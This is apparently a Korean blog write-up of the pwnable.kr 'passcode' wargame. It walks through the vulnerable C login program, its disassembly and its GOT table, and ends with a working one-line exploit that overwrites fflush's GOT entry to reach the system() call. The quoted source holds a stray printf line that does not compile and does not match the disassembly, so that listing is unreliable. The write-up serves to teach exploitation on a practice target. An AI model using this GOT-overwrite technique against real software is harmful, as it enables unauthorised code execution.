Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Archives
Today
Total
관리 메뉴

White Security

Passcode 문제풀이 본문

Wargame Writeups/pwnable.kr

Passcode 문제풀이

POSIX 2019. 2. 6. 15:19


Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh passcode@pwnable.kr -p2222 (pw:guest)


Toddler's Bottle 5번 문제입니다.

c 언어로 작성한 로그인 프로그램에 문제가 있다고 하네요.


#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");                          
        scanf("%d", passcode2);

        printf("checking...\n");

	printf("%d", passcode)

        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}


welcome() 에서 이름을 받아 출력한 후에 

login() 에서 인증을 수행하고 있군요.


scanf("%d", passcode1);
...
scanf("%d", passcode2);


문제가 되는 부분입니다.

본래 scanf 에서는 "&passcode1" 과 같은 형식으로

변수의 주소를 인자로 받아야 하는데


을 넘기고 말았습니다.


입력할 수 있는 주소를 정수 인자로 전달하면

입력할 메모리 주소 지정이 가능하니

잘 이용하면 인증 우회를 유도할 수 있을 것 같습니다.


Dump of assembler code for function welcome: 0x08048609 <+0>: push ebp 0x0804860a <+1>: mov ebp,esp 0x0804860c <+3>: sub esp,0x88 0x08048612 <+9>: mov eax,gs:0x14 0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax 0x0804861b <+18>: xor eax,eax 0x0804861d <+20>: mov eax,0x80487cb 0x08048622 <+25>: mov DWORD PTR [esp],eax 0x08048625 <+28>: call 0x8048420 <printf@plt> 0x0804862a <+33>: mov eax,0x80487dd 0x0804862f <+38>: lea edx,[ebp-0x70] 0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx 0x08048636 <+45>: mov DWORD PTR [esp],eax 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804863e <+53>: mov eax,0x80487e3 0x08048643 <+58>: lea edx,[ebp-0x70] 0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx 0x0804864a <+65>: mov DWORD PTR [esp],eax 0x0804864d <+68>: call 0x8048420 <printf@plt> 0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc] 0x08048655 <+76>: xor eax,DWORD PTR gs:0x14 0x0804865c <+83>: je 0x8048663 <welcome+90> 0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt> 0x08048663 <+90>: leave 0x08048664 <+91>: ret


welcome 함수를 살펴보면

ebp - 0x70 주소를 인자로 scanf 함수를 사용하고 있습니다.

ebp - 0x70 이 "char name[100]" 시작 부분이 되겠네요.


또한 "%100s" 를 통해 최대 100자로

바이트수를 제한하고 있으므로


입력할 수 있는 메모리 범위는

[ ebp - 0x70, ebp - 0xc ) 가 됩니다.


Dump of assembler code for function login:
   0x08048564 <+0>:     push   ebp
   0x08048565 <+1>:     mov    ebp,esp
   0x08048567 <+3>:     sub    esp,0x28
   0x0804856a <+6>:     mov    eax,0x8048770
   0x0804856f <+11>:    mov    DWORD PTR [esp],eax
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
   0x08048598 <+52>:    mov    eax,0x8048786
   0x0804859d <+57>:    mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>


다음으로 login 함수를 살펴보겠습니다.


ebp - 0x10 가 첫 scanf 의 인자로 사용된 것을 보아 

[ ebp - 0x10, ebp - 0xc ) 가 passcode1 의 

메모리 범위 라는 것을 알 수 있습니다.


welcome 함수에서 사용했던 

char name[100] 메모리의 뒷 4 바이트와 동일합니다.


바로 뒤에 fflush 함수가 존재하므로

GOT Overwrite 기법을 사용하여

인증 우회가 가능하겠군요.


passcode@ubuntu:~$ objdump -R passcode

passcode:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a02c R_386_COPY        stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT   fflush@GLIBC_2.0
0804a008 R_386_JUMP_SLOT   __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __gmon_start__
0804a018 R_386_JUMP_SLOT   exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7


objdump 를 이용해

fflush의 GOT 주소를 확인할 수 있었습니다.


0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af 0x080485ea <+134>: call 0x8048460 <system@plt>


GOT 주소를 system()의

인자를 전달하는 부분의 주소로 바꾸어 두면


passcode@ubuntu:~$ printf "%096d\x04\xa0\x04\x08 134514147" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)


cmp를 거치지 않고 플래그의 확인이 가능합니다.


134514147은 system()의 시작 주소값인

0x080485e3 scanf %d 형식에 맞춰

10진수 정수로 입력한 것입니다.

'Wargame Writeups > pwnable.kr' 카테고리의 다른 글

Input 문제풀이  (0) 2019.02.07
Random 문제풀이  (0) 2019.02.06
Flag 문제풀이  (0) 2019.02.05
Bof 문제풀이  (0) 2019.02.05
Collision 문제풀이  (1) 2019.02.04
Comments